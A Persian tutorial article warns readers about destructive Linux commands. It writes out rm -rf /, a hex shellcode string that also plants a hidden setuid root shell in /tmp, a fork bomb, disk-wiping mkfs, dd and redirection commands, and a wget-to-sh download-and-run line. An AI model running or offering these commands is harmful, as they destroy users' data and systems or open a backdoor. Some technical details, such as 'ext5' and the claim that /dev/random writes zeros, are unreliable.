دستورات مرگبار لینوکس
دستورات مرگبار لینوکس
در این مقاله در مورد دستورات مرگبار لینوکس با شما عزیزان خواهیم بود
استفاده از دستورات مرگبار لینوکس به هیچ عنوان پیشنهاد نمیشود
بیان این دستورات صرفا جنبه آموزشی دارد
به هیچ عنوان استفاده از دستوراتی که کاربرد آنها را نمیدانید توصیه نمیشود

دستورات مرگبار لینوکس کاملا مخرب است
کامند لاین لینوکس
لازم است بدانید لینوکس برای اجرای دستورهایی در کامند لاین از شما اجازه نمیگیرد
ما در مقاله قبلی در مورد کامند لاین (command line) یا شل یا خط دستور توضیحاتی دادیم
به طور مختصر رابطی برای ایجاد تعامل سریع و کارا است
در این مقاله با دستورات و کامند هایی که قاتل لینوکس است
و باعث از دست رفتن سیستم عامل میشود آشنا میشویم
تا بتوانید از زدن این کامندها برای افرادی که از سر شیطنت یا سرگرمی به شما پیشنهاد میدهند
در امان باشید
اولین راه حل به علت اینکه این دستورات اصولا در روت اجرا میشوند
استفاده غیر مستقیم از root است و زدن کامند sudo در ابتدای دستورات
دستور / rm -rf
دستورات */ rm -rf یا / rm -rf هر چیزی که در ریشه دایرکتوری است را حذف میکند
به طور کلی کامند rm -rf برای حذف فایلها و یا ریشه دایرکتوری ها است
اما با زدن این کاراکتر / در ترمینال باعث نابودی فایل های سیستمی که در ریشه اصلی قرار دارند میشود
این فایلهای نابود شده در ریشه اصلی و همان هارد دیسک قرار دارند
دستور rm به معنی حذف یا remove است و دستور -rf به این معنی است که :
Recursive و Force (بدون سوال) فایل ها را پاک کند
/ هم به معنی دایرکتوری ریشه یا Root می باشد.
اما توجه کنید که تنها این کامند نیست و بسیاری از از دستورات رمزگزاری شده نیز
چنین عملی را انجام میدهند

به صورت نمونه در پاراگراف بعدی از دستورات مرگبار لینوکس ,مشابه این دستور را آورده ایم
دستور مشابه / rm -rf به صورت hex
دستور پایین به صورت hex gibberish است که کاری مشابه همان خط فرمان
/ rm -rf میکند با این تفاوت که به صورت کد قرار گرفته است
چنین دستوراتی در اینترنت زیاد پیدا میشوند پس دقت بفرمایید چه دستوری را استفاده میکنید
این دستور در ماشین مجازی تنها وقتی مفید است اگر شما بک اپ و یا اسنپ شات داشته باشید
تمام هارد را پاک میکند!
دستور در زیر قرار گرفته است
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
(){ :|: & };:
این دستور یک بش فانکشن است bash function و این کد کوتاه بسیار مخرب است
این دستور کارش تولید نسخه کپی از خودش است و اجرای آن به صورت حلقه تکرار
این دستور به صورت loop از خود آنقدر نسخه کپی میسازد تا تمام فضای رم و سیپیو
را درگیر کند و تا سیستم به حالت فریز درآید این عمل را انجام میدهد
این دستور را حمله Dos یا fork bomb مینامند
mkfs.ext5 /dev/sda1
Mkfs همان Make File System است به معنی ایجاد یک فایل سیستم جدید.
Ext5 یک نوع فایل سیستم است.
/dev/sda1 مسیر اولین پارتیشن هارد دیسک است
و این دستور کل هارد دیسک را فرمت میکند
این دستور کل پارتیشن sda1 را پاک میکند و پارتیشن Ext5 را میسازد
نوشتن محتوا در اولین هارد دیسک
این دستور دستور command > /dev/sda که به این معنی است به جای کلمه command
دستوری قرار داده شود! و روش اجرایش به این نحو است که:
دستور را اجرا میکند اما استفاده از کاراکتر > نتیجه دستور را در مسیر /dev/sda می نویسد
و این نوشتن باعث میشود اولین بایت های هارد دیسک که اطلاعات سیستمی دارند دچار تخریب شود
و دیسک را تخریب و غیر قابل استفاده میکند
dd if=/dev/random of=/dev/sda
این دستور موجب میشود تمام بایت های هارد دیسک با کاراکتر 0 پر شود.
کل هارد را تخریب میکند
دستور dd در لینوکس دو مقدار می گیرد که محتوای if را بصورت Low-Level در of کپی می کند.
برای از بین بردن داده ها به صورتی که بازیابی آن توسط ریکاوری ها غیر ممکن باشد
مسیر /dev/zero شامل محتوای 0 است
mv ~ /dev/null
انتقال به سیاه چاله!
مسیر /dev/null مسیر یک سیاه چاله است که بازگشتی از آن وجود ندارد
کامند mv ~ /dev/null کل محتویات پوشه شخصی شما را به این مسیر میفرستد
~ مسیر Home Directory است که با این دستور به سیاه چاله میرود

و شما میتوانید دستور move یا mv را در اینجا مطالعه نمایید
wget http://example.com/somescript -O – | sh
در خاتمه دستورات مرگبار لینوکس با این دستور اشنا میشویم
دانلود یک فایل و اجرای آن به عنوان یک Script
این دستور یک اسکریپت را از اینترنت دانلود و اجرا میکند
کاراکتر | خروجی دستور سمت چپ را به ورودی دستور سمت راست میدهد
و Sh فایل را به عنوان یک Bash Script که در پاراگرف های قبل توضیح دادیم اجرا می کند.
نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
سرپرست: مهندس وحید باقری فام